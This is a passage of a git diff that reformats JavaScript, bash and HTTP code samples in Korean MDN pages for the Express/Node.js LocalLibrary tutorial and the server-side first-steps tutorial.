 
 ```js
-var mongoose = require('mongoose');
+var mongoose = require("mongoose");
 
 var Schema = mongoose.Schema;
 
-var BookSchema = new Schema(
-  {
-    title: {type: String, required: true},
-    author: {type: Schema.ObjectId, ref: 'Author', required: true},
-    summary: {type: String, required: true},
-    isbn: {type: String, required: true},
-    genre: [{type: Schema.ObjectId, ref: 'Genre'}]
-  }
-);
+var BookSchema = new Schema({
+  title: { type: String, required: true },
+  author: { type: Schema.ObjectId, ref: "Author", required: true },
+  summary: { type: String, required: true },
+  isbn: { type: String, required: true },
+  genre: [{ type: Schema.ObjectId, ref: "Genre" }],
+});
 
 // Virtual for book's URL
-BookSchema
-.virtual('url')
-.get(function () {
-  return '/catalog/book/' + this._id;
+BookSchema.virtual("url").get(function () {
+  return "/catalog/book/" + this._id;
 });
 
 //Export model
-module.exports = mongoose.model('Book', BookSchema);
+module.exports = mongoose.model("Book", BookSchema);
 ```
 
 The main difference here is that we've created two references to other models:
@@ -651,28 +637,29 @@ The main difference here is that we've created two references to other models:
 Finally, copy the `BookInstance` schema code shown below and paste it into your **./models/bookinstance.js** file. The `BookInstance` represents a specific copy of a book that someone might borrow, and includes information about whether the copy is available or on what date it is expected back, "imprint" or version details.
 
 ```js
-var mongoose = require('mongoose');
+var mongoose = require("mongoose");
 
 var Schema = mongoose.Schema;
 
-var BookInstanceSchema = new Schema(
-  {
-    book: { type: Schema.ObjectId, ref: 'Book', required: true }, //reference to the associated book
-    imprint: {type: String, required: true},
-    status: {type: String, required: true, enum: ['Available', 'Maintenance', 'Loaned', 'Reserved'], default: 'Maintenance'},
-    due_back: {type: Date, default: Date.now}
-  }
-);
+var BookInstanceSchema = new Schema({
+  book: { type: Schema.ObjectId, ref: "Book", required: true }, //reference to the associated book
+  imprint: { type: String, required: true },
+  status: {
+    type: String,
+    required: true,
+    enum: ["Available", "Maintenance", "Loaned", "Reserved"],
+    default: "Maintenance",
+  },
+  due_back: { type: Date, default: Date.now },
+});
 
 // Virtual for bookinstance's URL
-BookInstanceSchema
-.virtual('url')
-.get(function () {
-  return '/catalog/bookinstance/' + this._id;
+BookInstanceSchema.virtual("url").get(function () {
+  return "/catalog/bookinstance/" + this._id;
 });
 
 //Export model
-module.exports = mongoose.model('BookInstance', BookInstanceSchema);
+module.exports = mongoose.model("BookInstance", BookInstanceSchema);
 ```
 
 The new things we show here are the field options:
@@ -701,19 +688,19 @@ In order to test the models (and to create some example books and other items th
 
 1. Download (or otherwise create) the file [populatedb.js](https://raw.githubusercontent.com/hamishwillee/express-locallibrary-tutorial/master/populatedb.js) inside your _express-locallibrary-tutorial_ directory (in the same level as `package.json`).
 
-    > **참고:** You don't need to know how [populatedb.js](https://raw.githubusercontent.com/hamishwillee/express-locallibrary-tutorial/master/populatedb.js) works; it just adds sample data into the database.
+   > **참고:** You don't need to know how [populatedb.js](https://raw.githubusercontent.com/hamishwillee/express-locallibrary-tutorial/master/populatedb.js) works; it just adds sample data into the database.
 
 2. Enter the following commands in the project root to install the _async_ module that is required by the script (we'll discuss this in later tutorials, )
 
-    ```bash
-    npm install async --save
-    ```
+   ```bash
+   npm install async --save
+   ```
 
 3. Run the script using node in your command prompt, passing in the URL of your _MongoDB_ database (the same one you replaced the _insert_your_database_url_here_ placeholder with, inside `app.js` earlier):
 
-    ```bash
-    node populatedb <your mongodb url>
-    ```
+   ```bash
+   node populatedb <your mongodb url>
+   ```
 
 4. The script should run through to completion, displaying items as it creates them in the terminal.
 
diff --git a/files/ko/learn/server-side/express_nodejs/routes/index.md b/files/ko/learn/server-side/express_nodejs/routes/index.md
index 9dcf278c4a7737..ae4deb1bdf1fe4 100644
--- a/files/ko/learn/server-side/express_nodejs/routes/index.md
+++ b/files/ko/learn/server-side/express_nodejs/routes/index.md
@@ -1,5 +1,5 @@
 ---
-title: 'Express Tutorial Part 4: Routes and controllers'
+title: "Express Tutorial Part 4: Routes and controllers"
 slug: Learn/Server-side/Express_Nodejs/routes
 ---
 
@@ -76,20 +76,20 @@ First we create routes for a wiki in a module named **wiki.js**. The code first
 ```js
 // wiki.js - Wiki route module
 
-var express = require('express')
-var router = express.Router()
+var express = require("express");
+var router = express.Router();
 
 // Home page route
-router.get('/', function (req, res) {
-  res.send('Wiki home page')
-})
+router.get("/", function (req, res) {
+  res.send("Wiki home page");
+});
 
 // About page route
-router.get('/about', function (req, res) {
-  res.send('About this wiki')
-})
+router.get("/about", function (req, res) {
+  res.send("About this wiki");
+});
 
-module.exports = router
+module.exports = router;
 ```
 
 > **참고:** Above we are defining our route handler callbacks directly in the router functions. In the LocalLibrary we'll define these callbacks in a separate controller module.
@@ -97,9 +97,9 @@ module.exports = router
 To use the router module in our main app file we first `require()` the route module (**wiki.js**). We then call `use()` on the _Express_ application to add the Router to the middleware handling path, specifying an URL path of 'wiki'.
 
 ```js
-var wiki = require('./wiki.js')
+var wiki = require("./wiki.js");
 // ...
-app.use('/wiki', wiki)
+app.use("/wiki", wiki);
 ```
 
 The two routes defined in our wiki route module are then accessible from `/wiki/` and `/wiki/about/`.
@@ -111,9 +111,9 @@ wiki 라우트 모듈에서 정희 두개의 라우트를 정의되면 /wiki그
 Our module above defines a couple of typical route functions. The "about" route (reproduced below) is defined using the `Router.get()` method, which responds only to HTTP GET requests. The first argument to this method is the URL path while the second is a callback function that will be invoked if an HTTP GET request with the path is received.
 
 ```js
-router.get('/about', function (req, res) {
-  res.send('About this wiki')
-})
+router.get("/about", function (req, res) {
+  res.send("About this wiki");
+});
 ```
 
 The callback takes three arguments (usually named as shown: `req`, `res`, `next`), that will contain the HTTP Request object, HTTP response, and the _next_ function in the middleware chain.
@@ -131,9 +131,9 @@ The `Router` also provides route methods for all the other HTTP verbs, that are
 For example, the code below behaves just like the previous `/about` route, but only responds to HTTP POST requests.
 
 ```js
-router.post('/about', function (req, res) {
-  res.send('About this wiki')
-})
+router.post("/about", function (req, res) {
+  res.send("About this wiki");
+});
 ```
 
 ### 라우트 경로들(Route paths)
@@ -171,7 +171,7 @@ app.get('/users/:userId/books/:bookId', function (req, res) {
 })
 ```
 
-The names of route parameters must be made up of “word characters” (A-Z, a-z, 0-9, and \_).
+The names of route parameters must be made up of "word characters" (A-Z, a-z, 0-9, and \_).
 
 > **참고:** The URL _/book/create_ will be matched by a route like `/book/:bookId` (which will extract a "bookId" value of '`create`'). The first route that matches an incoming URL will be used, so if you want to process `/book/create` URLs separately, their route handler must be defined before your `/book/:bookId` route.
 
@@ -216,46 +216,46 @@ Start by creating a folder for our controllers in the project root (**/controlle
 Open the **/controllers/authorController.js** file and copy in the following code:
 
 ```js
-var Author = require('../models/author');
+var Author = require("../models/author");
 
 // Display list of all Authors
-exports.author_list = function(req, res) {
-    res.send('NOT IMPLEMENTED: Author list');
+exports.author_list = function (req, res) {
+  res.send("NOT IMPLEMENTED: Author list");
 };
 
 // Display detail page for a specific Author
-exports.author_detail = function(req, res) {
-    res.send('NOT IMPLEMENTED: Author detail: ' + req.params.id);
+exports.author_detail = function (req, res) {
+  res.send("NOT IMPLEMENTED: Author detail: " + req.params.id);
 };
 
 // Display Author create form on GET
-exports.author_create_get = function(req, res) {
-    res.send('NOT IMPLEMENTED: Author create GET');
+exports.author_create_get = function (req, res) {
+  res.send("NOT IMPLEMENTED: Author create GET");
 };
 
 // Handle Author create on POST
-exports.author_create_post = function(req, res) {
-    res.send('NOT IMPLEMENTED: Author create POST');
+exports.author_create_post = function (req, res) {
+  res.send("NOT IMPLEMENTED: Author create POST");
 };
 
 // Display Author delete form on GET
-exports.author_delete_get = function(req, res) {
-    res.send('NOT IMPLEMENTED: Author delete GET');
+exports.author_delete_get = function (req, res) {
+  res.send("NOT IMPLEMENTED: Author delete GET");
 };
 
 // Handle Author delete on POST
-exports.author_delete_post = function(req, res) {
-    res.send('NOT IMPLEMENTED: Author delete POST');
+exports.author_delete_post = function (req, res) {
+  res.send("NOT IMPLEMENTED: Author delete POST");
 };
 
 // Display Author update form on GET
-exports.author_update_get = function(req, res) {
-    res.send('NOT IMPLEMENTED: Author update GET');
+exports.author_update_get = function (req, res) {
+  res.send("NOT IMPLEMENTED: Author update GET");
 };
 
 // Handle Author update on POST
-exports.author_update_post = function(req, res) {
-    res.send('NOT IMPLEMENTED: Author update POST');
+exports.author_update_post = function (req, res) {
+  res.send("NOT IMPLEMENTED: Author update POST");
 };
 ```
 
@@ -268,46 +268,46 @@ All the functions have the standard form of an _Express middleware function_, wi
 Open the **/controllers/bookinstanceController.js** file and copy in the following code (this follows an identical pattern to the `Author` controller module):
 
 ```js
-var BookInstance = require('../models/bookinstance');
+var BookInstance = require("../models/bookinstance");
 
 // Display list of all BookInstances
-exports.bookinstance_list = function(req, res) {
-    res.send('NOT IMPLEMENTED: BookInstance list');
+exports.bookinstance_list = function (req, res) {
+  res.send("NOT IMPLEMENTED: BookInstance list");
 };
 
 // Display detail page for a specific BookInstance
-exports.bookinstance_detail = function(req, res) {
-    res.send('NOT IMPLEMENTED: BookInstance detail: ' + req.params.id);
+exports.bookinstance_detail = function (req, res) {
+  res.send("NOT IMPLEMENTED: BookInstance detail: " + req.params.id);
 };
 
 // Display BookInstance create form on GET
-exports.bookinstance_create_get = function(req, res) {
-    res.send('NOT IMPLEMENTED: BookInstance create GET');
+exports.bookinstance_create_get = function (req, res) {
+  res.send("NOT IMPLEMENTED: BookInstance create GET");
 };
 
 // Handle BookInstance create on POST
-exports.bookinstance_create_post = function(req, res) {
-    res.send('NOT IMPLEMENTED: BookInstance create POST');
+exports.bookinstance_create_post = function (req, res) {
+  res.send("NOT IMPLEMENTED: BookInstance create POST");
 };
 
 // Display BookInstance delete form on GET
-exports.bookinstance_delete_get = function(req, res) {
-    res.send('NOT IMPLEMENTED: BookInstance delete GET');
+exports.bookinstance_delete_get = function (req, res) {
+  res.send("NOT IMPLEMENTED: BookInstance delete GET");
 };
 
 // Handle BookInstance delete on POST
-exports.bookinstance_delete_post = function(req, res) {
-    res.send('NOT IMPLEMENTED: BookInstance delete POST');
+exports.bookinstance_delete_post = function (req, res) {
+  res.send("NOT IMPLEMENTED: BookInstance delete POST");
 };
 
 // Display BookInstance update form on GET
-exports.bookinstance_update_get = function(req, res) {
-    res.send('NOT IMPLEMENTED: BookInstance update GET');
+exports.bookinstance_update_get = function (req, res) {
+  res.send("NOT IMPLEMENTED: BookInstance update GET");
 };
 
 // Handle bookinstance update on POST
-exports.bookinstance_update_post = function(req, res) {
-    res.send('NOT IMPLEMENTED: BookInstance update POST');
+exports.bookinstance_update_post = function (req, res) {
+  res.send("NOT IMPLEMENTED: BookInstance update POST");
 };
 ```
 
@@ -316,46 +316,46 @@ exports.bookinstance_update_post = function(req, res) {
 Open the **/controllers/genreController.js** file and copy in the following text (this follows an identical pattern to the `Author` and `BookInstance` files):
 
 ```js
-var Genre = require('../models/genre');
+var Genre = require("../models/genre");
 
 // Display list of all Genre
-exports.genre_list = function(req, res) {
-    res.send('NOT IMPLEMENTED: Genre list');
+exports.genre_list = function (req, res) {
+  res.send("NOT IMPLEMENTED: Genre list");
 };
 
 // Display detail page for a specific Genre
-exports.genre_detail = function(req, res) {
-    res.send('NOT IMPLEMENTED: Genre detail: ' + req.params.id);
+exports.genre_detail = function (req, res) {
+  res.send("NOT IMPLEMENTED: Genre detail: " + req.params.id);
 };
 
 // Display Genre create form on GET
-exports.genre_create_get = function(req, res) {
-    res.send('NOT IMPLEMENTED: Genre create GET');
+exports.genre_create_get = function (req, res) {
+  res.send("NOT IMPLEMENTED: Genre create GET");
 };
 
 // Handle Genre create on POST
-exports.genre_create_post = function(req, res) {
-    res.send('NOT IMPLEMENTED: Genre create POST');
+exports.genre_create_post = function (req, res) {
+  res.send("NOT IMPLEMENTED: Genre create POST");
 };
 
 // Display Genre delete form on GET
-exports.genre_delete_get = function(req, res) {
-    res.send('NOT IMPLEMENTED: Genre delete GET');
+exports.genre_delete_get = function (req, res) {
+  res.send("NOT IMPLEMENTED: Genre delete GET");
 };
 
 // Handle Genre delete on POST
-exports.genre_delete_post = function(req, res) {
-    res.send('NOT IMPLEMENTED: Genre delete POST');
+exports.genre_delete_post = function (req, res) {
+  res.send("NOT IMPLEMENTED: Genre delete POST");
 };
 
 // Display Genre update form on GET
-exports.genre_update_get = function(req, res) {
-    res.send('NOT IMPLEMENTED: Genre update GET');
+exports.genre_update_get = function (req, res) {
+  res.send("NOT IMPLEMENTED: Genre update GET");
 };
 
 // Handle Genre update on POST
-exports.genre_update_post = function(req, res) {
-    res.send('NOT IMPLEMENTED: Genre update POST');
+exports.genre_update_post = function (req, res) {
+  res.send("NOT IMPLEMENTED: Genre update POST");
 };
 ```
 
@@ -364,50 +364,50 @@ exports.genre_update_post = function(req, res) {
 Open the **/controllers/bookController.js** file and copy in the following code. This follows the same pattern as the other controller modules, but additionally has an `index()` function for displaying the site welcome page:
 
 ```js
-var Book = require('../models/book');
+var Book = require("../models/book");
 
-exports.index = function(req, res) {
-    res.send('NOT IMPLEMENTED: Site Home Page');
+exports.index = function (req, res) {
+  res.send("NOT IMPLEMENTED: Site Home Page");
 };
 
 // Display list of all books
-exports.book_list = function(req, res) {
-    res.send('NOT IMPLEMENTED: Book list');
+exports.book_list = function (req, res) {
+  res.send("NOT IMPLEMENTED: Book list");
 };
 
 // Display detail page for a specific book
-exports.book_detail = function(req, res) {
-    res.send('NOT IMPLEMENTED: Book detail: ' + req.params.id);
+exports.book_detail = function (req, res) {
+  res.send("NOT IMPLEMENTED: Book detail: " + req.params.id);
 };
 
 // Display book create form on GET
-exports.book_create_get = function(req, res) {
-    res.send('NOT IMPLEMENTED: Book create GET');
+exports.book_create_get = function (req, res) {
+  res.send("NOT IMPLEMENTED: Book create GET");
 };
 
 // Handle book create on POST
-exports.book_create_post = function(req, res) {
-    res.send('NOT IMPLEMENTED: Book create POST');
+exports.book_create_post = function (req, res) {
+  res.send("NOT IMPLEMENTED: Book create POST");
 };
 
 // Display book delete form on GET
-exports.book_delete_get = function(req, res) {
-    res.send('NOT IMPLEMENTED: Book delete GET');
+exports.book_delete_get = function (req, res) {
+  res.send("NOT IMPLEMENTED: Book delete GET");
 };
 
 // Handle book delete on POST
-exports.book_delete_post = function(req, res) {
-    res.send('NOT IMPLEMENTED: Book delete POST');
+exports.book_delete_post = function (req, res) {
+  res.send("NOT IMPLEMENTED: Book delete POST");
 };
 
 // Display book update form on GET
-exports.book_update_get = function(req, res) {
-    res.send('NOT IMPLEMENTED: Book update GET');
+exports.book_update_get = function (req, res) {
+  res.send("NOT IMPLEMENTED: Book update GET");
 };
 
 // Handle book update on POST
-exports.book_update_post = function(req, res) {
-    res.send('NOT IMPLEMENTED: Book update POST');
+exports.book_update_post = function (req, res) {
+  res.send("NOT IMPLEMENTED: Book update POST");
 };
 ```
 
@@ -428,121 +428,139 @@ The skeleton already has a **./routes** folder containing routes for the _index_
 Open `/routes/catalog.js` and copy in the code below:
 
 ```js
-var express = require('express');
+var express = require("express");
 var router = express.Router();
 
 // Require controller modules
-var book_controller = require('../controllers/bookController');
-var author_controller = require('../controllers/authorController');
-var genre_controller = require('../controllers/genreController');
-var book_instance_controller = require('../controllers/bookinstanceController');
+var book_controller = require("../controllers/bookController");
+var author_controller = require("../controllers/authorController");
+var genre_controller = require("../controllers/genreController");
+var book_instance_controller = require("../controllers/bookinstanceController");
 
 /// BOOK ROUTES ///
 
 /* GET catalog home page. */
-router.get('/', book_controller.index);
+router.get("/", book_controller.index);
 
 /* GET request for creating a Book. NOTE This must come before routes that display Book (uses id) */
-router.get('/book/create', book_controller.book_create_get);
+router.get("/book/create", book_controller.book_create_get);
 
 /* POST request for creating Book. */
-router.post('/book/create', book_controller.book_create_post);
+router.post("/book/create", book_controller.book_create_post);
 
 /* GET request to delete Book. */
-router.get('/book/:id/delete', book_controller.book_delete_get);
+router.get("/book/:id/delete", book_controller.book_delete_get);
 
 // POST request to delete Book
-router.post('/book/:id/delete', book_controller.book_delete_post);
+router.post("/book/:id/delete", book_controller.book_delete_post);
 
 /* GET request to update Book. */
-router.get('/book/:id/update', book_controller.book_update_get);
+router.get("/book/:id/update", book_controller.book_update_get);
 
 // POST request to update Book
-router.post('/book/:id/update', book_controller.book_update_post);
+router.post("/book/:id/update", book_controller.book_update_post);
 
 /* GET request for one Book. */
-router.get('/book/:id', book_controller.book_detail);
+router.get("/book/:id", book_controller.book_detail);
 
 /* GET request for list of all Book items. */
-router.get('/books', book_controller.book_list);
+router.get("/books", book_controller.book_list);
 
 /// AUTHOR ROUTES ///
 
 /* GET request for creating Author. NOTE This must come before route for id (i.e. display author) */
-router.get('/author/create', author_controller.author_create_get);
+router.get("/author/create", author_controller.author_create_get);
 
 /* POST request for creating Author. */
-router.post('/author/create', author_controller.author_create_post);
+router.post("/author/create", author_controller.author_create_post);
 
 /* GET request to delete Author. */
-router.get('/author/:id/delete', author_controller.author_delete_get);
+router.get("/author/:id/delete", author_controller.author_delete_get);
 
 // POST request to delete Author
-router.post('/author/:id/delete', author_controller.author_delete_post);
+router.post("/author/:id/delete", author_controller.author_delete_post);
 
 /* GET request to update Author. */
-router.get('/author/:id/update', author_controller.author_update_get);
+router.get("/author/:id/update", author_controller.author_update_get);
 
 // POST request to update Author
-router.post('/author/:id/update', author_controller.author_update_post);
+router.post("/author/:id/update", author_controller.author_update_post);
 
 /* GET request for one Author. */
-router.get('/author/:id', author_controller.author_detail);
+router.get("/author/:id", author_controller.author_detail);
 
 /* GET request for list of all Authors. */
-router.get('/authors', author_controller.author_list);
+router.get("/authors", author_controller.author_list);
 
 /// GENRE ROUTES ///
 
 /* GET request for creating a Genre. NOTE This must come before route that displays Genre (uses id) */
-router.get('/genre/create', genre_controller.genre_create_get);
+router.get("/genre/create", genre_controller.genre_create_get);
 
 /* POST request for creating Genre. */
-router.post('/genre/create', genre_controller.genre_create_post);
+router.post("/genre/create", genre_controller.genre_create_post);
 
 /* GET request to delete Genre. */
-router.get('/genre/:id/delete', genre_controller.genre_delete_get);
+router.get("/genre/:id/delete", genre_controller.genre_delete_get);
 
 // POST request to delete Genre
-router.post('/genre/:id/delete', genre_controller.genre_delete_post);
+router.post("/genre/:id/delete", genre_controller.genre_delete_post);
 
 /* GET request to update Genre. */
-router.get('/genre/:id/update', genre_controller.genre_update_get);
+router.get("/genre/:id/update", genre_controller.genre_update_get);
 
 // POST request to update Genre
-router.post('/genre/:id/update', genre_controller.genre_update_post);
+router.post("/genre/:id/update", genre_controller.genre_update_post);
 
 /* GET request for one Genre. */
-router.get('/genre/:id', genre_controller.genre_detail);
+router.get("/genre/:id", genre_controller.genre_detail);
 
 /* GET request for list of all Genre. */
-router.get('/genres', genre_controller.genre_list);
+router.get("/genres", genre_controller.genre_list);
 
 /// BOOKINSTANCE ROUTES ///
 
 /* GET request for creating a BookInstance. NOTE This must come before route that displays BookInstance (uses id) */
-router.get('/bookinstance/create', book_instance_controller.bookinstance_create_get);
+router.get(
+  "/bookinstance/create",
+  book_instance_controller.bookinstance_create_get,
+);
 
 /* POST request for creating BookInstance. */
-router.post('/bookinstance/create', book_instance_controller.bookinstance_create_post);
+router.post(
+  "/bookinstance/create",
+  book_instance_controller.bookinstance_create_post,
+);
 
 /* GET request to delete BookInstance. */
-router.get('/bookinstance/:id/delete', book_instance_controller.bookinstance_delete_get);
+router.get(
+  "/bookinstance/:id/delete",
+  book_instance_controller.bookinstance_delete_get,
+);
 
 // POST request to delete BookInstance
-router.post('/bookinstance/:id/delete', book_instance_controller.bookinstance_delete_post);
+router.post(
+  "/bookinstance/:id/delete",
+  book_instance_controller.bookinstance_delete_post,
+);
 
 /* GET request to update BookInstance. */
-router.get('/bookinstance/:id/update', book_instance_controller.bookinstance_update_get);
+router.get(
+  "/bookinstance/:id/update",
+  book_instance_controller.bookinstance_update_get,
+);
 
 // POST request to update BookInstance
-router.post('/bookinstance/:id/update', book_instance_controller.bookinstance_update_post);
+router.post(
+  "/bookinstance/:id/update",
+  book_instance_controller.bookinstance_update_post,
+);
 
 /* GET request for one BookInstance. */
-router.get('/bookinstance/:id', book_instance_controller.bookinstance_detail);
+router.get("/bookinstance/:id", book_instance_controller.bookinstance_detail);
 
 /* GET request for list of all BookInstance. */
-router.get('/bookinstances', book_instance_controller.bookinstance_list);
+router.get("/bookinstances", book_instance_controller.bookinstance_list);
 
 module.exports = router;
 ```
@@ -561,8 +579,8 @@ Open **/routes/index.js** and replace the existing route with the function below
 
 ```js
 /* GET home page. */
-router.get('/', function(req, res) {
-  res.redirect('/catalog');
+router.get("/", function (req, res) {
+  res.redirect("/catalog");
 });
 ```
 
@@ -575,17 +593,17 @@ The last step is to add the routes to the middleware chain. We do this in `app.j
 Open **app.js** and require the catalog route below the other routes (add the third line shown below, underneath the other two):
 
 ```js
-var index = require('./routes/index');
-var users = require('./routes/users');
-var catalog = require('./routes/catalog');  //Import routes for "catalog" area of site
+var index = require("./routes/index");
+var users = require("./routes/users");
+var catalog = require("./routes/catalog"); //Import routes for "catalog" area of site
 ```
 
 Next, add the catalog route to the middleware stack below the other routes (add the third line shown below, underneath the other two):
 
 ```js
-app.use('/', index);
-app.use('/users', users);
-app.use('/catalog', catalog);  // Add catalog routes to middleware chain.
+app.use("/", index);
+app.use("/users", users);
+app.use("/catalog", catalog); // Add catalog routes to middleware chain.
 ```
 
 > **참고:** We have added our catalog module at a path `'/catalog'`. This is prepended to all of the paths defined in the catalog module. So for example, to access a list of books, the URL will be: `/catalog/books/`.
diff --git a/files/ko/learn/server-side/express_nodejs/skeleton_website/index.md b/files/ko/learn/server-side/express_nodejs/skeleton_website/index.md
index d0b838bb52ea6f..937e3695596347 100644
--- a/files/ko/learn/server-side/express_nodejs/skeleton_website/index.md
+++ b/files/ko/learn/server-side/express_nodejs/skeleton_website/index.md
@@ -1,5 +1,5 @@
 ---
-title: 'Express Tutorial Part 2: 스켈레톤 웹사이트 만들기'
+title: "Express Tutorial Part 2: 스켈레톤 웹사이트 만들기"
 slug: Learn/Server-side/Express_Nodejs/skeleton_website
 original_slug: Learn/Server-side/Express_Nodejs/스켈레톤_웹사이트
 ---
@@ -173,24 +173,24 @@ At this point, we have a complete skeleton project. The website doesn't actually
 
 1. First, install the dependencies (the `install` command will fetch all the dependency packages listed in the project's **package.json** file).
 
-    ```bash
-    cd express-locallibrary-tutorial
-    npm install
-    ```
+   ```bash
+   cd express-locallibrary-tutorial
+   npm install
+   ```
 
 2. Then run the application.
 
-    - On Windows, use this command:
+   - On Windows, use this command:
 
-      ```bash
-      SET DEBUG=express-locallibrary-tutorial:* & npm start
-      ```
+     ```bash
+     SET DEBUG=express-locallibrary-tutorial:* & npm start
+     ```
 
-    - On macOS or Linux, use this command:
+   - On macOS or Linux, use this command:
 
-      ```bash
-      DEBUG=express-locallibrary-tutorial:* npm start
-      ```
+     ```bash
+     DEBUG=express-locallibrary-tutorial:* npm start
+     ```
 
 3. Then load <http://localhost:3000/> in your browser to access the app.
 
@@ -354,7 +354,7 @@ The file **/bin/www** is the application entry point! The very first thing this
  * Module dependencies.
  */
 
-var app = require('../app');
+var app = require("../app");
 ```
 
 > **참고:** `require()` is a global node function that is used to import modules into the current file. Here we specify **app.js** module using a relative path and omitting the optional (.**js**) file extension.
@@ -377,18 +377,18 @@ Back in the **www** entry point file above, it is this `module.exports` object t
 Let's work through the **app.js** file in detail. First, we import some useful node libraries into the file using `require()`, including http-errors, _express_, _morgan_ and _cookie-parser_ that we previously downloaded for our application using NPM; and _path_, which is a core Node library for parsing file and directory paths.
 
 ```js
-var createError = require('http-errors');
-var express = require('express');
-var path = require('path');
-var cookieParser = require('cookie-parser');
-var logger = require('morgan');
+var createError = require("http-errors");
+var express = require("express");
+var path = require("path");
+var cookieParser = require("cookie-parser");
+var logger = require("morgan");
 ```
 
 Then we `require()` modules from our routes directory. These modules/files contain code for handling particular sets of related "routes" (URL paths). When we extend the skeleton application, for example to list all books in the library, we will add a new file for dealing with book-related routes.
 
 ```js
-var indexRouter = require('./routes/index');
-var usersRouter = require('./routes/users');
+var indexRouter = require("./routes/index");
+var usersRouter = require("./routes/users");
 ```
 
 > **참고:** At this point, we have just _imported_ the module; we haven't actually used its routes yet (this happens just a little bit further down the file).
@@ -399,25 +399,25 @@ Next, we create the `app` object using our imported _express_ module, and then u
 var app = express();
 
 // view engine setup
-app.set('views', path.join(__dirname, 'views'));
-app.set('view engine', 'pug');
+app.set("views", path.join(__dirname, "views"));
+app.set("view engine", "pug");
 ```
 
 The next set of functions call `app.use()` to add the _middleware_ libraries into the request handling chain. In addition to the 3rd party libraries we imported previously, we use the `express.static` middleware to get _Express_ to serve all the static files in the **/public** directory in the project root.
 
 ```js
-app.use(logger('dev'));
+app.use(logger("dev"));
 app.use(express.json());
 app.use(express.urlencoded({ extended: false }));
 app.use(cookieParser());
-app.use(express.static(path.join(__dirname, 'public')));
+app.use(express.static(path.join(__dirname, "public")));
 ```
 
 Now that all the other middleware is set up, we add our (previously imported) route-handling code to the request handling chain. The imported code will define particular routes for the different _parts_ of the site:
 
 ```js
-app.use('/', indexRouter);
-app.use('/users', usersRouter);
+app.use("/", indexRouter);
+app.use("/users", usersRouter);
 ```
 
 > **참고:** The paths specified above ('/' and '`/users'`) are treated as a prefix to routes defined in the imported files. So for example, if the imported **users** module defines a route for `/profile`, you would access that route at `/users/profile`. We'll talk more about routes in a later article.
@@ -426,19 +426,19 @@ The last middleware in the file adds handler methods for errors and HTTP 404 res
 
 ```js
 // catch 404 and forward to error handler
-app.use(function(req, res, next) {
+app.use(function (req, res, next) {
   next(createError(404));
 });
 
 // error handler
-app.use(function(err, req, res, next) {
+app.use(function (err, req, res, next) {
   // set locals, only providing error in development
   res.locals.message = err.message;
-  res.locals.error = req.app.get('env') === 'development' ? err : {};
+  res.locals.error = req.app.get("env") === "development" ? err : {};
 
   // render the error page
   res.status(err.status || 500);
-  res.render('error');
+  res.render("error");
 });
 ```
 
@@ -453,12 +453,12 @@ module.exports = app;
 The route file **/routes/users.js** is shown below (route files share a similar structure, so we don't need to also show **index.js**). First, it loads the _express_ module and uses it to get an `express.Router` object. Then it specifies a route on that object and lastly exports the router from the module (this is what allows the file to be imported into **app.js**).
 
 ```js
-var express = require('express');
+var express = require("express");
 var router = express.Router();
 
 /* GET users listing. */
-router.get('/', function(req, res, next) {
-  res.send('respond with a resource');
+router.get("/", function (req, res, next) {
+  res.send("respond with a resource");
 });
 
 module.exports = router;
@@ -476,8 +476,8 @@ The views (templates) are stored in the **/views** directory (as specified in **
 
 ```js
 /* GET home page. */
-router.get('/', function(req, res, next) {
-  res.render('index', { title: 'Express' });
+router.get("/", function (req, res, next) {
+  res.render("index", { title: "Express" });
 });
 ```
 
diff --git a/files/ko/learn/server-side/first_steps/client-server_overview/index.md b/files/ko/learn/server-side/first_steps/client-server_overview/index.md
index 313cb03fef2875..1def7c359d8913 100644
--- a/files/ko/learn/server-side/first_steps/client-server_overview/index.md
+++ b/files/ko/learn/server-side/first_steps/client-server_overview/index.md
@@ -115,7 +115,7 @@ HTTP requests는 본문을 가질수 있지만 이번 케이스에서는 비어
 
 메시지의 마지막에는 요청에 의해 반환된 실제 HTML을 포함하는 **본문** 콘텐츠를 볼 수 있습니다.
 
-```html
+```http
 HTTP/1.1 200 OK
 Server: Apache
 X-Backend-Server: developer1.webapp.scl3.mozilla.com
@@ -129,8 +129,6 @@ Allow: GET
 X-Cache-Info: caching
 Content-Length: 41823
 
-
-
 <!DOCTYPE html>
 <html lang="en-US" dir="ltr" class="redesign no-js"  data-ffo-opensanslight=false data-ffo-opensans=false >
 <head prefix="og: http://ogp.me/ns#">
@@ -176,7 +174,7 @@ csrfmiddlewaretoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT&user-username=hamishwillee&
 
 요청에서 온 응답은 아래와 같이 보여집니다. "`302 Found`"의 상태 코드는 브라우저에게 post가 성공했고, `Location` 필드가 지정된 페이지를 로드하기 위해 두번째 HTTP request를 실행해야 하는 것을 알려줍니다. 그렇지 않은 경우 정보는 `GET` request에 대한 응답정보와 유사합니다.
 
-```html
+```http
 HTTP/1.1 302 FOUND
 Server: Apache
 X-Backend-Server: developer3.webapp.scl3.mozilla.com
diff --git a/files/ko/learn/server-side/first_steps/index.md b/files/ko/learn/server-side/first_steps/index.md
index 4f3600db35948e..a3014669bff989 100644
--- a/files/ko/learn/server-side/first_steps/index.md
+++ b/files/ko/learn/server-side/first_steps/index.md
@@ -2,6 +2,7 @@
 title: Server-side website programming first steps
 slug: Learn/Server-side/First_steps
 ---
+
 {{LearnSidebar}}
 
 서버사이드 프로그래밍 모듈에서 우리는 서버사이드 프로그래밍에 대해 몇 가지 근본적인 질문을 합니다. — "그게 뭐야?", "클라이언트 사이드 프로그래밍과 뭐가 달라?", "왜 쓸만해?". 여기서 우리는 여러분의 첫 웹사이트를 만드는 데에 필요한 가장 적합한 프레임워크를 어떻게 정하는 지에 대한 적절한 지도와 함께 가장 인기있는 서버 사이드 웹 프레임워크들의 개요를 제공합니다. 끝으로 높은 수준의 웹 서버 보안에 대한 소개를 제공합니다.
diff --git a/files/ko/learn/server-side/first_steps/introduction/index.md b/files/ko/learn/server-side/first_steps/introduction/index.md
index 9edf0daa20141d..733ffaa74a84d5 100644
--- a/files/ko/learn/server-side/first_steps/introduction/index.md
+++ b/files/ko/learn/server-side/first_steps/introduction/index.md
@@ -2,6 +2,7 @@
 title: Introduction to the server side
 slug: Learn/Server-side/First_steps/Introduction
 ---
+
 {{LearnSidebar}}{{NextMenu("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps")}}
 
